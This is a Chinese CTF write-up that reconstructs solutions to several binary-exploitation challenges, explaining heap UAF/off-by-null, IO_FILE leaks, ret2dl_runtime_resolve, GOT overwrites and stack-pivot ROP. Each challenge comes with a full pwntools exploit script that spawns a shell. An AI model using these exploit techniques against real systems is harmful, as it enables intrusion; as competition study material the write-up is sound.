6月二进制挑战赛
6月二进制挑战赛
怎么说呢,太菜了,比赛的时候不堪入目,就打算复现一下
can_you_find_me
一言难尽,漏洞很简单就是uaf和off by null 打一个io leak ,在修改free_hook为system就行了,比赛的时候有一个知识点没想到,就是2.27版本并没有对tcache的数量索引进行检查,再加上这道题对free的使用有限制,只要再多一个就行了
给了一个docker自己启动一下看一下版本是2.27 1.6的
exp
from tools import *
context.log_level='debug'
p,e,libc=load('pwn','node4.buuoj.cn:25758')
def add(size,content):
p.sendlineafter('choice:',str(1))
p.sendlineafter('Size:',str(size))
p.sendlineafter('Data:',content)
def delete(index):
p.sendlineafter('choice:',str(2))
p.sendlineafter('Index:',str(index))
add_p=0xB75
delete_p=0xCE7
add(0x500,b'a'*0x500) #0
add(0x60,b'a'*0x60)#1
add(0x10,b'a'*0x10)#2
add(0x70,b'a'*0x70)#3
add(0x5f0,b'a'*0x5f0)#4
add(0x20,b'a'*0x20)#5
delete(0)
delete(3)
add(0x78,b'a'*0x70+b'\x20\x06') #3
delete(4)
delete(1)
delete(0)
add(0x500,b'/bin/sh\x00'+b'a'*(0x500-8))
add(0x80,b'\x60\xe7')
add(0x60,b'a')
add(0x68,p64(0xfbad1800)+p64(0)*3+b'\xc8')
libc_base=recv_libc()-0x3eba00
free_hook=libc_base+0x3ed8e8
system=libc_base+0x4f420
log_addr('libc_base')
debug(p,'pie',add_p,delete_p)
add(0x100,p64(free_hook))
add(0x70,'trunk')
add(0x70,p64(system))
delete(0)
p.interactive()
matchmaking platform
这个题有两种解法,一种是官方发的wp利用是ret2dl_runtime_resolve,之前并没深入学习过,再加上又学习了house of muney这在这里仔细分析一波
ELF关于动态链接的一些关键section
如果找不到具体位置可以用readelf -t pwn 看一下
.dynamic
主要就是动态链接的主要信息,主要有以下第三个东西
动态链接符号表的位置(Dynamic Symbol Table)、动态链接重定位表的位置、动态链接字符串表的位置(Dynamic String Table)。也就是根据这个表找到 .dynsym .dynstr .rela.plt 等段
DT_STRTAB
, DT_SYMTAB
, DT_JMPREL
这三项,这三个东西分别包含了指向.dynstr
, .dynsym
, .rel.plt
这3个section的指针
.dynstr
一个字符串表,index为0的地方永远是0,然后后面是动态链接所需的字符串
.dynsym
这个东西,是一个符号表(结构体数组),里面记录了各种符号的信息,每个结构体对应一个符号。我们这里只关心函数符号,比方说上面的puts。结构体定义如下,每个结构体大小是0x30
typedef struct
{
Elf32_Word st_name; //大小是两个字 符号名,是相对.dynstr起始的偏移,这种引用字符串的方式在前面说过了
Elf32_Addr st_value;
Elf32_Word st_size;
unsigned char st_info; //对于导入函数符号而言,它是0x12
unsigned char st_other;
Elf32_Section st_shndx;
}Elf32_Sym; //对于导入函数符号而言,其他字段都是0
rela
这里是重定位表
也是一个结构体数组,每个项对应一个导入函数。结构体定义如下:
typedef struct
{
Elf32_Addr r_offset; //指向GOT表的指针
Elf32_Word r_info;
//一些关于导入符号的信息,我们只关心从第二个字节开始的值((val)>>8),忽略那个07
//1和3是这个导入函数的符号在.dynsym中的下标,
//如果往回看的话你会发现1和3刚好和.dynsym的puts和__libc_start_main对应
} Elf32_Rel;
首先就是ret2dl的调用链
1.dl_runtime_resolve 有两个参数,一个是 reloc_arg,存放着 Elf32_Rel 的指针对.rel.plt段的偏移量,一个是link_map,里面存放着一段地址,通过这段地址可以找到.dynamic段的地址
2通过 .dynamic 可以找到 .dynstr(+0x44)、.dynsym(+0x4c)、.rel.plt(+0x84) 的地址
3.rel.plt 的地址加上 reloc_arg 可以得到函数重定位表项 Elf32_Rel 的指针,里面存放着两个变量 r_offset(got表地址)和r_info
4将 r_info>>8 可以得到 .dynsym 的下标,求出当前函数对应的表项记作sym(在sym中前两个字就是对应函数的名字字符串在dynstr中的偏移)
5.dynstr+sym得到的就是 st_name,而 st_name 存放的就是要调用函数的函数名
6.在动态库中查找这个函数的真实地址
第一次调用过程
主要就是id_runtime_resolve中的di_fixup
link_map
struct link_map
{
/* These first few members are part of the protocol with the debugger.
This is the same format used in SVR4. */
ElfW(Addr) l_addr; /* Base address shared object is loaded at. */
char *l_name; /* Absolute file name object was found in. */
ElfW(Dyn) *l_ld; /* Dynamic section of the shared object. */
struct link_map *l_next, *l_prev; /* Chain of loaded objects. */
};
.dynstr、.dynsym和rel.plt的位置,分别是位于了偏移9,偏移10,和偏移17的位置
调试时
可以发现.dynstr、.dynsym偏移分别变成了0x6000和0x5000在ida中也没有这个地址,是在运行时又映射出来的
通过下图可以看到在运行时又将dynstr和dynsym映射到了一个新的地址中
调用di_fisup,可以看到他的两个参数就是ilink_map和重定向表中的下标
link_map 就是dl_runtime_resolve接受两个参数,第一个是link_map,通过这个link_map,ld链接器可以访问到dynstr、dynamic、dynsym、rel.plt等所需
一些关键代码
_dl_fixup(struct link_map *l,ElfW(Word) reloc_arg)
{
const ElfW(Sym) *const symtab //利用link_map找到符号表
= (const void *) D_PTR (l, l_info[DT_SYMTAB]);
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
//利用link_map找到字符串表
// 首先通过参数reloc_arg计算重定位的入口,这里的JMPREL即.rel.plt,reloc_offest即reloc_arg
const PLTREL *const reloc = (const void *)(D_PTR(l, l_info[DT_JMPREL]) + reloc_offset);
// 然后通过reloc->r_info找到.dynsym中对应的函数条目
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
// 这里还会检查reloc->r_info的最低位是不是R_386_JMUP_SLOT=7
assert(ELF(R_TYPE)(reloc->info) == ELF_MACHINE_JMP_SLOT);
// 接着通过strtab+sym->st_name找到符号表字符串,result为libc基地址
result = _dl_lookup_symbol_x (strtab + sym ->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
// value为libc基址加上要解析函数的偏移地址,也即实际地址
value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS(result) + sym->st_value) : 0);
// 最后把value写入相应的GOT表条目中
return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}
调试中的一些细节
在调试时发现symtab和strtab表的找到和网上的有所不同
strtab就是link_map+0x68处的值加上0x8地址中的数据,rel_addr就是link_map+0xf8处的值加上0x8地址中的数据,symtab的地址是在link_map+0x70处的值加上0x8地址中的数据,找到具体的函数对应的项的偏移是(reloc->r_info)*2+reloc->r_info)
得到得到重定向表
得到symtab表
找到字符串
最后,需要注意的是,当第一次进行延迟绑定的时候,会根据link_map开头的l_addr作为程序的基
地址,加上相应got的偏移,写入相应函数的libc地址。因此,我们这里伪造l_addr为elf_base加上
某偏移,使得在之后对free延迟绑定的时候,将system的libc地址写入puts中覆盖原有地址,并在
buf开头写入/bin/sh即可getshell
exp
from tools import *
context.log_level='debug'
p,e,libc=load('pwn')
name_p=0x1410
free_p=0x1513
debug(p,'pie',name_p,free_p,0x143A) # 0x8eeb8
p.sendafter('Age >>',b'a' * 128 +b'\x80')
p.sendlineafter('Photo(URL) >>',p64(0xfbad1800) + p64(0) * 3 + b'\xb0\x5d')
for i in range (16):
print('--------------------'+str(i)+'-----------------------')
pie_base = u64(p.recvuntil(b'\x55')[-6:].ljust(8,b'\x00'))-0x40a0
log_addr('pie_base')
if (pie_base & 0xfff) == 0:
print('-----------------------------seccess !!!!!!!!-------------------')
log_addr('pie_base')
break
payload = b'/bin/sh\x00'
payload+= p64(pie_base + 0x4140 - 0x67) # force strtab
payload+= b'system\x00' #
p.sendafter("Name >> ", payload.ljust(0x80, b'\x00') + b'\x08')
payload = p64(pie_base+8)+p64(0xdeadbbef)+p64(0xdeadbeef)
payload = payload.ljust(0x68, b'\x00') + p64(pie_base + 0x4140)
p.sendlineafter("Hobby >> ", payload)
p.interactive()
#0x205182
这道题还有一个非预期做法就比较简单了,主要还是bss段中残留了很多值,比如用来计数的值,malloc的地址,再加上可以在一定范围内任意写一个字节
攻击步骤
1、利用char类型的整数溢出修改0x40c0中的地址位stdout,
向0x40c0中地址写入p64(0xfbad1800) + p64(0) * 3 + b'\x00'打一个io leak泄露libc地址、
2、第二次整数溢出将用于计数的地址中数写为5,并写入free_hook地址
3、第三次溢出将0x40c0中的地址改写为存放有free_hook
4、第四次溢出向malloc中写入/bin/sh
exp
from tools import *
context.log_level='debug'
p,e,libc=load('pwn')
name_p=0x1410
free_p=0x1513
hobby_p=0x143A
age_p=0x13B3
php_p=0x13E0
elf = ELF('./pwn')
libc=elf.libc
p.sendafter('Age >>',b'a' * 128 +b'\x80')
p.sendlineafter('Photo(URL) >>',p64(0xfbad1800) + p64(0) * 3 + b'\x00') # divulge
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x1ec980
log_addr('libc_base')
libc.address = libc_base
debug(p,'pie',name_p,free_p,hobby_p,age_p,php_p)
p.sendafter('Name >> ',b'a'*128+b'\x60')
p.sendlineafter('Hobby >>',p64(0) + p64(5) + p64(libc.sym.__free_hook))
p.sendafter('Age >>',b'a' * 128 +b'\x70')
p.sendlineafter('Photo(URL) >>',p64(libc.sym.system))
p.sendafter('Name >> ',b'a'*128+b'\xc8')
p.sendlineafter('Hobby >>',b'/bin/sh\x00')
p.interactive()
#0x205182
server
感觉用到大部分都是web知识,首先就是目录穿越配合对输入字数的限制
其次就是利用残留值和\将输入一个’将/bin/sh当作一个命令去执行
exp
from tools import *
context.log_level='debug'
p,e,libc=load("server","node4.buuoj.cn:26719")
p.sendlineafter("3. Exit the server\n",str(1))
payload='/../../../../../../bin/sh'
p.sendlineafter("Please input the key of admin : \n",payload)
p.sendlineafter("Your choice >> ",str(2))
payload='\''
p.sendafter("Please input the username to add : \n",payload)
p.interactive()
noka
这一题不知道为什么是零解,可能是这次放的题有点多,大哥们没有时间看吧,思路很简单,就是将malloc的got表改写为0x401254,这样就可以得到一个任意地址写的机会,那就是直接泄露地址了,然后修改一下strtol函数的got表就行了,(官方wp我看好像是通过泄露的栈地址来修改main的返回值),远程环境关了打的本地
from tools import *
context.log_level='debug'
p,e,libc=load('noka')
def add(size,content):
p.sendlineafter('2. show',str(1))
p.sendlineafter('size:',str(size))
p.sendlineafter('text:',content)
def show():
p.sendlineafter('2. show',str(2))
def noka(addr,vul):
p.sendlineafter('2. show',str(3))
p.sendlineafter('Break Point:',addr)
p.sendlineafter('Break Value:',vul)
def add_noka(size,addr,content):
p.sendlineafter('2. show',str(1))
p.sendlineafter('size:',str(size))
# pause()
p.sendline(str(addr))
p.sendlineafter('text:',content)
add_p=0x401480
show_p=0x401365
noka_p=0x401404
noka(str(0x404030),str(0x401254))
add_noka(10,str(0x4040a0),'\xa0')
show()
libc_base=recv_libc()-0x210aa0
log_addr('libc_base')
environ=libc_base+0x221200
log_addr('environ')
system=libc_base+0x50d60
add_noka(10,str(0x404060),p64(1))
add_noka(10,str(0x404050),b'/bin/sh\x00')
noka(str(0x404028),str(system))
p.sendlineafter('2. show',str(0x404050))
p.interactive()
A dream
一个常规的多线程的,就是通过子进程绕过父进程的沙箱 ,特殊的就是子进程中只有一个write和sleep,而且这两个函数在父进程中也有,也就说只能让父进程处于休眠状态,这样才不会因为修改某个函数的got在父进程中报错然后退出程序。我这里的思路是修改write的got表为栈溢出的地址。然后在父进程在执行sleep(1000)保持进程不意味退出就行。
漏洞利用
glibc 版本是 2.31 9.9
第一次利用栈溢出的时候完成两个功能
1、修改rbp(为下次栈溢出打一个栈迁移做准备,之所以将rbp填写为bss+0x40就是因为有个-0x40的操作)
2、修改返回地址在利用一次栈溢出(因为这第二次溢出不能恢复rbp)
第二次进入栈溢出的时候完成两个功能
1、布置rop链完成修改write的got表,和让父进程执行sleep(0x1000)
2、修改rbp为bss-8(控制rsp),修改返回地为leave_ret
下面的就是在子进程中的操作了,此时我们已经有了无限栈溢出的功能了
首先就是泄露出libc地址,然后打一个栈迁移就行了(子进程的栈是用mmap映射出来的,故可以通过libc地址来确定子进程的栈地址)
记得在puts的返回地址要为magic_read因为如果不写任何值的话它会按照原本的流程走下去
似乎所有的onegadget都不可以用都会报一个*** stack smashing detected ***: terminated\n'的错误不知道为什么,菜鸡表示很不李姐,那只能打ret2syscall
exp
这个是打onegdget的,报错如下
from tools import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')
p,elf,libc=load('pwn_9')
read_p=0x4013AE
write_p=0x401387
bss = elf.bss() + 0x100
magic_read = 0x4013AE
payload=b'a'*0x40+p64(bss+0x40)+p64(magic_read) # lea rax, [rbp - 0x40] ; mov rsi, rax
p.send(payload)
sleep(0.1)
pop_rdi_ret = 0x401483
pop_rsi_r15_ret = 0x401481
leave_ret = 0x40136c
payload = p64(pop_rsi_r15_ret) + p64(elf.got['write']) + p64(0) + p64(elf.plt['read']) # read (0,write@got,0x50)
payload += p64(pop_rdi_ret) + p64(0x1000) + p64(elf.plt['sleep']) # sleep(0x1000)
payload = payload.ljust(0x40, b'\x00') + p64(bss-8) + p64(leave_ret)
sleep(0.1)
p.send(payload)
sleep(0.1)
p.send(p64(magic_read))
debug(p,write_p)
payload = b'a'*0x28 + p64(0xdeadbeef)+p64(pop_rdi_ret)+p64(elf.got['puts'])+p64(elf.plt['puts']) + p64(magic_read)
pause()
p.send(payload)
libc_base = recv_libc()-libc.sym['puts']
log_addr('libc_base')
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
pop_rdi = 0x23b6a + libc_base
pop_rsi = 0x2601f + libc_base
pop_rdx = 0x142c92 + libc_base
one=[0xe3afe,0xe3b01,0xe3b04]
payload = p64(libc_base + one[1]) + b'a'*0x38 + p64(libc_base-0x4158) #+ p64(magic_read) p64(0xdeadbeef) +
pause()
p.send(payload)
p.interactive()
这个打ret2syscall的
from tools import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')
p,elf,libc=load('pwn_9')
read_p=0x4013AE
write_p=0x401387
bss = elf.bss() + 0x100
magic_read = 0x4013AE
payload=b'a'*0x40+p64(bss+0x40)+p64(magic_read) # lea rax, [rbp - 0x40] ; mov rsi, rax
p.send(payload)
sleep(0.1)
pop_rdi_ret = 0x401483
pop_rsi_r15_ret = 0x401481
leave_ret = 0x40136c
payload = p64(pop_rsi_r15_ret) + p64(elf.got['write']) + p64(0) + p64(elf.plt['read']) # read (0,write@got,0x50)
payload += p64(pop_rdi_ret) + p64(0x1000) + p64(elf.plt['sleep']) # sleep(0x1000)
payload = payload.ljust(0x40, b'\x00') + p64(bss-8) + p64(leave_ret)
sleep(0.1)
p.send(payload)
sleep(0.1)
p.send(p64(magic_read))
debug(p,write_p)
payload = b'a'*0x28 + p64(0xdeadbeef)+p64(pop_rdi_ret)+p64(elf.got['puts'])+p64(elf.plt['puts']) + p64(magic_read)
pause()
p.send(payload)
libc_base = recv_libc()-libc.sym['puts']
log_addr('libc_base')
system = libc_base + libc.sym['system']
log_addr('system')
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
pop_rdi = 0x23b6a + libc_base
pop_rsi = 0x2601f + libc_base
pop_rdx = 0x142c92 + libc_base
one=[0xe3afe,0xe3b01,0xe3b04]
ret= 0x40101a
payload=p64(one[1]+libc_base)
payload=payload.ljust(0x40,b'\x00')+p64(libc_base-0x4158)+p64(leave_ret) #p64(pop_rdi)+p64(bin_sh)+p64(system)
pause()
p.send(payload)
p.interactive()